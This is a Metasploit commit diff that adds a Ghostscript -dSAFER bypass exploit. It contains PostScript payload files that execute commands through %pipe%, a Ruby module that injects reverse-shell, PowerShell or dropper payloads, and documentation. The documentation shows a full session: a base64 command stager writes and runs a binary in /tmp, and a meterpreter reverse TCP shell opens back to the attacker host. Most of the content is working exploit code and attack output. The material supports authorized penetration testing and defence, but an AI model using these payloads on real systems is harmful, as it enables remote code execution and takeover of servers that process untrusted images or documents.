Land #10564, Add Ghostscript exploit from taviso
parent
85475507b9
commit
eb39f6da51
|
@ -0,0 +1,9 @@
|
|||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
|
@ -0,0 +1,81 @@
|
|||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
|
@ -0,0 +1,77 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a `-dSAFER` bypass in Ghostscript to execute
|
||||
arbitrary commands by handling a failed `restore` (`grestore`) in
|
||||
PostScript to disable `LockSafetyParams` and avoid `invalidaccess`.
|
||||
|
||||
This vulnerability is reachable via libraries such as ImageMagick,
|
||||
and this module provides the latest vector for Ghostscript.
|
||||
|
||||
For previous Ghostscript vectors, please see the following modules:
|
||||
`exploit/unix/fileformat/ghostscript_type_confusion`
|
||||
`exploit/unix/fileformat/imagemagick_delegate`
|
||||
|
||||
## Setup
|
||||
|
||||
Install Ghostscript and use the console command (`gs` on Unix and
|
||||
`gswin64c` on Windows). You may also exploit the vulnerability through
|
||||
ImageMagick using `convert` or `identify`, for example.
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
1 PowerShell (In-Memory)
|
||||
2 Linux (Dropper)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
|
||||
Set this to the output file's name. Depending on the target environment,
|
||||
the file extension may not matter, so the PS file could be named
|
||||
`msf.pdf`, for instance. This can potentially work around filename
|
||||
filters.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
Set this to a writable directory without `noexec`.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
|
||||
target => Linux (Dropper)
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
|
||||
lhost => 172.28.128.1
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
|
||||
disablepayloadhandler => false
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
|
||||
wfsdelay => 3600
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.28.128.1:4444
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
|
||||
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (816260 bytes) to 172.28.128.3
|
||||
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.0.2.15
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,117 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
PLACEHOLDER_STRING = 'metasploit'
|
||||
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ghostscript Failed Restore Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a -dSAFER bypass in Ghostscript to execute
|
||||
arbitrary commands by handling a failed restore (grestore) in
|
||||
PostScript to disable LockSafetyParams and avoid invalidaccess.
|
||||
|
||||
This vulnerability is reachable via libraries such as ImageMagick,
|
||||
and this module provides the latest vector for Ghostscript.
|
||||
|
||||
For previous Ghostscript vectors, please see the following modules:
|
||||
exploit/unix/fileformat/ghostscript_type_confusion
|
||||
exploit/unix/fileformat/imagemagick_delegate
|
||||
},
|
||||
'Author' => [
|
||||
'Tavis Ormandy', # Vuln discovery and exploit
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 21 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux', 'win'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
|
||||
],
|
||||
['PowerShell (In-Memory)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :psh_memory
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = template
|
||||
|
||||
# Replace our placeholder string with a random one
|
||||
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
|
||||
|
||||
# Replace our test payload with the real one
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
|
||||
when :psh_memory
|
||||
psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
|
||||
|
||||
# XXX: Payload space applies to the payload, not the PSH command
|
||||
if psh.length > targets[0].payload_space
|
||||
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
|
||||
end
|
||||
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, psh)
|
||||
when :linux_dropper
|
||||
cmdstager = generate_cmdstager(
|
||||
linemax: targets[0].payload_space,
|
||||
temp: datastore['WritableDir']
|
||||
).join(';')
|
||||
|
||||
# XXX: Payload space applies to the payload, not the command stager
|
||||
if cmdstager.length > targets[0].payload_space
|
||||
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
|
||||
end
|
||||
|
||||
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
|
||||
end
|
||||
|
||||
file_create(sploit)
|
||||
end
|
||||
|
||||
def template
|
||||
File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -14,8 +14,11 @@ class MetasploitModule < Msf::Exploit
|
|||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability in Ghostscript that can
|
||||
be exploited to obtain arbitrary command execution. This vulnerability affects
|
||||
Ghostscript version 9.21 and earlier and can be exploited through libraries
|
||||
Ghostscript versions 9.21 and earlier and can be exploited through libraries
|
||||
such as ImageMagick and Pillow.
|
||||
|
||||
For more recent Ghostscript vectors, please see the following modules:
|
||||
exploit/multi/fileformat/ghostscript_failed_restore
|
||||
},
|
||||
'Author' => [
|
||||
'Atlassian Security Team', # Vulnerability discovery
|
||||
|
@ -35,22 +38,12 @@ class MetasploitModule < Msf::Exploit
|
|||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic netcat bash-tcp'
|
||||
}
|
||||
'BadChars' => "\x22\x27\x5c)(" # ", ', \, (, and )
|
||||
},
|
||||
'Targets' => [
|
||||
['EPS file', template: 'msf.eps']
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||
'LHOST' => Rex::Socket.source_address,
|
||||
'DisablePayloadHandler' => false,
|
||||
'WfsDelay' => 9001
|
||||
}
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -22,7 +22,12 @@ class MetasploitModule < Msf::Exploit
|
|||
|
||||
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
|
||||
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
|
||||
Ghostscript versions 9.18 and later are affected.
|
||||
Ghostscript versions 9.18 and later are affected. This target is
|
||||
provided as is and will not be updated to track additional vulns.
|
||||
|
||||
For more recent Ghostscript vectors, please see the following modules:
|
||||
exploit/multi/fileformat/ghostscript_failed_restore
|
||||
exploit/unix/fileformat/ghostscript_type_confusion
|
||||
|
||||
If USE_POPEN is set to true, a |-prefixed command will be used for the
|
||||
exploit. No delegates are involved in this exploitation.
|
||||
|
@ -30,6 +35,7 @@ class MetasploitModule < Msf::Exploit
|
|||
'Author' => [
|
||||
'stewie', # Vulnerability discovery
|
||||
'Nikolay Ermishkin', # Vulnerability discovery
|
||||
'Tavis Ormandy', # Vulnerability discovery
|
||||
'wvu', # Metasploit module
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
|
@ -41,7 +47,8 @@ class MetasploitModule < Msf::Exploit
|
|||
%w{URL http://seclists.org/oss-sec/2016/q3/682},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
|
||||
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
|
||||
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
|
||||
%w{AKA ImageTragick}
|
||||
],
|
||||
'DisclosureDate' => 'May 3 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
Loading…
Reference in New Issue